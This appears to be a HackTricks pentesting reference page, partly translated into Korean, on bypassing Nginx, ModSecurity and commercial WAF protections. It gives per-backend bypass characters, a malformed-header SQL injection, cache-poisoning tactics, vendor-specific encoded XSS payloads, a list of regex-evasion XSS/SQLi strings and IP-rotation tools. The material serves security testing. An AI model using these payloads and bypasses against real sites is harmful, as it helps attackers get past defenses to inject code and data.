Proxy / WAF Protections Bypass
Reading time: 12 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Bypass Nginx ACL Rules with Pathname Manipulation
기법은 이 연구에서 가져옴.
Nginx 규칙 예시:
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
우회를 방지하기 위해 Nginx는 검사하기 전에 경로 정규화(path normalization)를 수행합니다. 그러나 백엔드 서버가 다른 정규화(nginx가 제거하지 않는 문자를 제거하는 등)를 수행하면 이 방어를 우회할 수 있습니다.
NodeJS - Express
Nginx 버전 | Node.js Bypass Characters |
---|---|
1.22.0 | \xA0 |
1.21.6 | \xA0 |
1.20.2 | \xA0 , \x09 , \x0C |
1.18.0 | \xA0 , \x09 , \x0C |
1.16.1 | \xA0 , \x09 , \x0C |
Flask
Nginx 버전 | Flask Bypass Characters |
---|---|
1.22.0 | \x85 , \xA0 |
1.21.6 | \x85 , \xA0 |
1.20.2 | \x85 , \xA0 , \x1F , \x1E , \x1D , \x1C , \x0C , \x0B |
1.18.0 | \x85 , \xA0 , \x1F , \x1E , \x1D , \x1C , \x0C , \x0B |
1.16.1 | \x85 , \xA0 , \x1F , \x1E , \x1D , \x1C , \x0C , \x0B |
Spring Boot
Nginx 버전 | Spring Boot Bypass Characters |
---|---|
1.22.0 | ; |
1.21.6 | ; |
1.20.2 | \x09 , ; |
1.18.0 | \x09 , ; |
1.16.1 | \x09 , ; |
PHP-FPM
Nginx FPM 구성:
location = /admin.php {
deny all;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}
Nginx는 /admin.php
에 대한 접근을 차단하도록 구성되어 있지만 /admin.php/index.php
에 접근하면 이를 우회할 수 있습니다.
방지 방법
location ~* ^/admin {
deny all;
}
Mod Security 규칙 우회
경로 혼동
In this post에서는 ModSecurity v3 (3.0.12까지)가 접근한 경로(파라미터 시작 전까지)를 포함해야 할 REQUEST_FILENAME
변수를 부적절하게 구현했다고 설명합니다. 이는 경로를 얻기 위해 URL 디코드를 수행했기 때문입니다.
따라서 http://example.com/foo%3f';alert(1);foo=
같은 요청은 mod security에서는 %3f
가 ?
로 변환되어 URL 경로를 종료한다고 보고 경로를 /foo
로 간주하지만, 실제로 서버가 받는 경로는 /foo%3f';alert(1);foo=
입니다.
REQUEST_BASENAME
과 PATH_INFO
변수도 이 버그의 영향을 받았습니다.
비슷한 문제가 Mod Security 버전 2에서도 발생했는데, 백업 파일과 관련된 특정 확장자(예: .bak
)에 대한 접근을 차단하는 보호를 우회할 수 있었고, 이는 점을 %2e
로 URL 인코딩하여 전송하면 가능했습니다. 예: https://example.com/backup%2ebak
.
AWS WAF ACL 우회
잘못된 Header
This research에서는 AWS가 제대로 파싱하지 못했지만 backend server는 파싱한 "malformed" header를 전송함으로써 HTTP headers에 적용된 AWS WAF 규칙을 우회할 수 있었음을 언급합니다.
예를 들어, 헤더 X-Query에 SQL injection을 넣어 다음과 같은 요청을 보내는 경우:
GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n
It was possible to bypass AWS WAF because it wouldn't understand that the next line is part of the value of the header while the NODEJS server did (this was fixed).
일반적인 WAF 우회
Request Size Limits
Commonly WAFs have a certain length limit of requests to check and if a POST/PUT/PATCH request is over it, the WAF won't check the request.
- For AWS WAF, you can check the documentation:
Application Load Balancer 및 AWS AppSync 보호에서 검사할 수 있는 웹 요청 본문 최대 크기 | 8 KB |
CloudFront, API Gateway, Amazon Cognito, App Runner 및 Verified Access 보호에서 검사할 수 있는 웹 요청 본문 최대 크기** | 64 KB |
- From Azure docs:
Older Web Application Firewalls with Core Rule Set 3.1 (or lower) allow messages larger than 128 KB by turning off request body inspection, but these messages won't be checked for vulnerabilities. For newer versions (Core Rule Set 3.2 or newer), the same can be done by disabling the maximum request body limit. When a request exceeds the size limit:
If prevention mode: 요청을 기록하고 차단합니다.
If detection mode: 제한까지 검사하고 나머지는 무시하며, Content-Length
가 제한을 초과하면 로그를 남깁니다.
- From Akamai:
By default, the WAF inspects only the first 8KB of a request. It can increase the limit up to 128KB by adding Advanced Metadata.
- From Cloudflare:
Up to 128KB.
Static assets inspection gaps (.js GETs)
Some CDN/WAF stacks apply weak or no content inspection to GET requests for static assets (for example paths ending with .js
), while still applying global rules like rate limiting and IP reputation. Combined with auto-caching of static extensions, this can be abused to deliver or seed malicious variants that affect subsequent HTML responses.
Practical use cases:
- Send payloads in untrusted headers (e.g.,
User-Agent
) on a GET to a.js
path to avoid content inspection, then immediately request the main HTML to influence the cached variant. - Use a fresh/clean IP; once an IP is flagged, routing changes can make the technique unreliable.
- In Burp Repeater, use "Send group in parallel" (single-packet style) to race the two requests (
.js
then HTML) through the same front-end path.
This pairs well with header-reflection cache poisoning. See:
Cache Poisoning and Cache Deception
난독화
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>
# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;
Unicode 호환성
Unicode 정규화의 구현 방식에 따라 (자세한 내용은 here), 호환되는 Unicode 문자들이 WAF를 우회하여 의도한 payload로 실행될 수 있습니다. 호환 가능한 문자는 here에서 확인할 수 있습니다.
예시
# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
<img src⁼p onerror⁼'prompt⁽1⁾'﹥ --> <img src=p onerror='prompt(1)'>
Bypass Contextual WAFs with encodings
As mentioned in this blog post, In order to bypass WAFs able to maintain a context of the user input we could abuse the WAF techniques to actually normalize the users input.
예시로, 해당 포스트에서는 Akamai가 사용자 입력을 10번 URL 디코드했다고 언급되어 있다. 따라서 <input/%2525252525252525253e/onfocus
같은 문자열은 Akamai에서 <input/>/onfocus
로 보일 수 있는데, 이는 태그가 닫혔다고 판단될 수도 있다는 뜻이다. 그러나 애플리케이션이 입력을 10번 URL 디코드하지 않는 한, 실제 피해자는 <input/%25252525252525253e/onfocus
같은 것을 보게 되며 이는 여전히 XSS 공격에 유효하다.
따라서 이는 WAF가 디코드하고 해석하는 반면 실제 피해자는 보지 못하는 인코딩된 구성요소에 페이로드를 숨길 수 있게 해준다.
또한 이것은 URL encoded 페이로드뿐만 아니라 unicode, hex, octal 등 다른 인코딩에서도 가능하다.
In the post the following final bypasses are suggested:
- Akamai:
akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>
- Imperva:
imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">
- AWS/Cloudfront:
docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>
- Cloudflare:
cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">
It's also mentioned that depending on how some WAFs understand the context of the user input, it might be possible to abuse it. The proposed example in the blog is that Akamai allow(ed) to put anything between /*
and */
(potentially because this is commonly used as comments. Therefore, a SQLinjection such as /*'or sleep(5)-- -*/
won't be caught and will be valid as /*
is the starting string of the injection and */
is commented.
어떤 WAF가 사용자 입력의 컨텍스트를 어떻게 해석하는가에 따라 이를 악용할 수 있다는 점도 언급되어 있다. 블로그의 예로 Akamai는 주석으로 흔히 사용되는 이유로 /*
와 */
사이에 어떤 내용이든 허용(또는 무시)했다고 한다. 따라서 /*'or sleep(5)-- -*/
같은 SQLinjection은 차단되지 않을 수 있는데, 이는 /*
가 인젝션의 시작 문자열로 인식되고 */
는 주석 처리되기 때문이다.
These kind of context problems can also be used to abuse other vulnerabilities than the one expected to be exploited by the WAF (e.g. this could also be used to exploit a XSS).
이러한 컨텍스트 문제들은 WAF가 의도한 취약점 외의 다른 취약점(예: XSS)을 악용하는 데에도 사용될 수 있다.
H2C Smuggling
IP Rotation
- https://github.com/ustayready/fireprox: Generate an API gateway URL to by used with ffuf
- ffuf와 함께 사용하기 위한 API gateway URL을 생성한다.
- https://github.com/rootcathacking/catspin: Similar to fireprox
- fireprox와 유사하다.
- https://github.com/PortSwigger/ip-rotate: Burp Suite plugin that uses API gateway IPs
- API gateway IP들을 사용하는 Burp Suite 플러그인.
- https://github.com/fyoorer/ShadowClone: A dynamically determined number of container instances are activated based on the input file size and split factor, with the input split into chunks for parallel execution, such as 100 instances processing 100 chunks from a 10,000-line input file with a split factor of 100 lines.
- 입력 파일 크기와 split factor에 따라 동적으로 컨테이너 인스턴스 수를 활성화하고, 입력을 병렬 처리를 위해 청크로 분할한다. 예를 들어 split factor가 100라인일 때 10,000라인 입력 파일은 100개의 청크로 나뉘고 100개의 인스턴스가 병렬로 처리한다.
- https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization
Regex Bypasses
Different techniques can be used to bypass the regex filters on the firewalls. Examples include alternating case, adding line breaks, and encoding payloads. Resources for the various bypasses can be found at PayloadsAllTheThings and OWASP. The examples below were pulled from this article.
방화벽의 regex 필터를 우회하기 위해 다양한 기법을 사용할 수 있다. 예로는 대소문자 교체(alternating case), 줄바꿈 추가, payloads 인코딩 등이 있다. 여러 우회 기법 자료는 PayloadsAllTheThings와 OWASP에서 찾을 수 있다. 아래 예제들은 this article에서 가져온 것이다.
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
도구
- nowafpls: Burp 플러그인으로 요청에 불필요한 데이터를 추가하여 길이 기반으로 WAFs를 우회합니다
참고자료
- https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies
- https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/
- https://www.youtube.com/watch?v=0OMmWtU2Y_g
- https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization
- How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.